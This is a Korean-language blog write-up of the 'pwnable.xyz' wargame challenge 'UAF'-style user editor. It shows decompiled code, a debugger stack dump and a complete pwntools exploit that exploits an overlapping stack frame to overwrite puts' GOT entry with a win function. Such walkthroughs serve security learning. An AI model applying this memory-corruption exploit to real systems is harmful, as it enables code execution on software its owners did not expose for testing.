함수 간에 스택 영역을 공유한다는 특이사항이 있다.
void __fastcall create_user()
{ User user; // [rsp+0h] [rbp-1060h] unsigned __int64 __canary; // [rsp+1058h] [rbp-8h] __canary = __readfsqword(0x28u); if ( !user.name ) { user.name = (char *)malloc(0x20uLL); memset(user.name, 0, 0x20uLL); } printf("Name: "); read(0, user.name, 0x20uLL); printf("Age: "); read_int32(); cur = &user; } |
void __cdecl edit_usr()
{ User *user; // rbx if ( cur ) { printf("Name: "); read(0, cur->name, 0x20uLL); printf("Age: "); user = cur; user->age = read_int32(); } } |
코드를 보기만 해서는 별다른 취약점이 있어보이지는 않는다.
함수 사이의 스택 영역이 겹친다는 점과, cur
에 스택 주소를 넣는 부분에 주목해야 한다.
create_user
와 edit_usr
함수들을 호출할 때 스택의 구조를 표현한 것이다.
create_user
함수의 스택 최상단에는 name
을 가리키는 포인터가 있고, edit_usr
에서 read_int32
함수를 호출할 때 입력으로 0x20 바이트를 받기 때문에 해당 포인터를 조작할 수 있다. 이는 아래와 같이 디버거에서도 확인할 수 있다.
[----------------------------------registers-----------------------------------]
RAX: 0x5 RBX: 0x7ffcf871f1b0 --> 0x191e2a0 ("this is name\n") RCX: 0x0 RDX: 0x0 RSI: 0x7ffcf871cb40 --> 0x20203a656741 ('Age: ') RDI: 0x7fac544304c0 --> 0x0 RBP: 0x7ffcf871f1d0 --> 0x7ffcf8720210 --> 0x7ffcf8720230 --> 0x0 RSP: 0x7ffcf871f1a0 --> 0x7ffcf8720210 --> 0x7ffcf8720230 --> 0x0 RIP: 0x400977 (<read_int32+8>: mov rax,QWORD PTR fs:0x28) R8 : 0x5 R9 : 0x5 R10: 0x400c9f --> 0x735500203a656741 ('Age: ') R11: 0x246 R12: 0x4007d0 (<_start>: xor ebp,ebp) R13: 0x7ffcf8720320 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x40096f <read_int32>: push rbp 0x400970 <read_int32+1>: mov rbp,rsp 0x400973 <read_int32+4>: sub rsp,0x30 => 0x400977 <read_int32+8>: mov rax,QWORD PTR fs:0x28 0x400980 <read_int32+17>: mov QWORD PTR [rbp-0x8],rax 0x400984 <read_int32+21>: xor eax,eax 0x400986 <read_int32+23>: lea rax,[rbp-0x30] 0x40098a <read_int32+27>: mov edx,0x20 [------------------------------------stack-------------------------------------] 0000| 0x7ffcf871f1a0 --> 0x7ffcf8720210 --> 0x7ffcf8720230 --> 0x0 0008| 0x7ffcf871f1a8 --> 0x400a4e (<create_user+144>: mov DWORD PTR [rbp-0x1018],eax) 0016| 0x7ffcf871f1b0 --> 0x191e2a0 ("this is name\n") 0024| 0x7ffcf871f1b8 --> 0x0 0032| 0x7ffcf871f1c0 --> 0x2 0040| 0x7ffcf871f1c8 --> 0x0 0048| 0x7ffcf871f1d0 --> 0x7ffcf8720210 --> 0x7ffcf8720230 --> 0x0 0056| 0x7ffcf871f1d8 --> 0x400b3a (<edit_usr+113>: mov DWORD PTR [rbx+0x48],eax) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x0000000000400977 in read_int32 () |
cur->name
을 함수 GOT의 위치로 바꾼 뒤 그곳에 win
주소를 쓰고 플래그를 가져오면 된다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
from pwn import *
import argparse def CreateUser(name:bytes, age:bytes) : p.writelineafter(b'> ', b'1') p.writeafter(b'Name: ', name) p.writeafter(b'Age: ', age) def EditUser(name:bytes, age:bytes) : p.writelineafter(b'> ', b'3') p.writeafter(b'Name: ', name) p.writeafter(b'Age: ', age) def exploit() : puts_got = 0x602018 payload = b'A'*0x10 payload += p64(puts_got) CreateUser(b'A', b'1') EditUser(b'A', payload) EditUser(p64(0x400B71), b'1') # win p.writelineafter(b'> ', b'4') p.interactive() if __name__ == '__main__' : parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = remote('svc.pwnable.xyz', 30011) else : p = process('./challenge') exploit() |
Last update: 2/6/2021
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / strcat (0) | 2020.01.16 |
---|---|
pwnable.xyz / J-U-M-P (0) | 2020.01.15 |
pwnable.xyz / fspoo (0) | 2020.01.14 |
pwnable.xyz / Game (0) | 2020.01.13 |
pwnable.xyz / l33t-ness (0) | 2020.01.13 |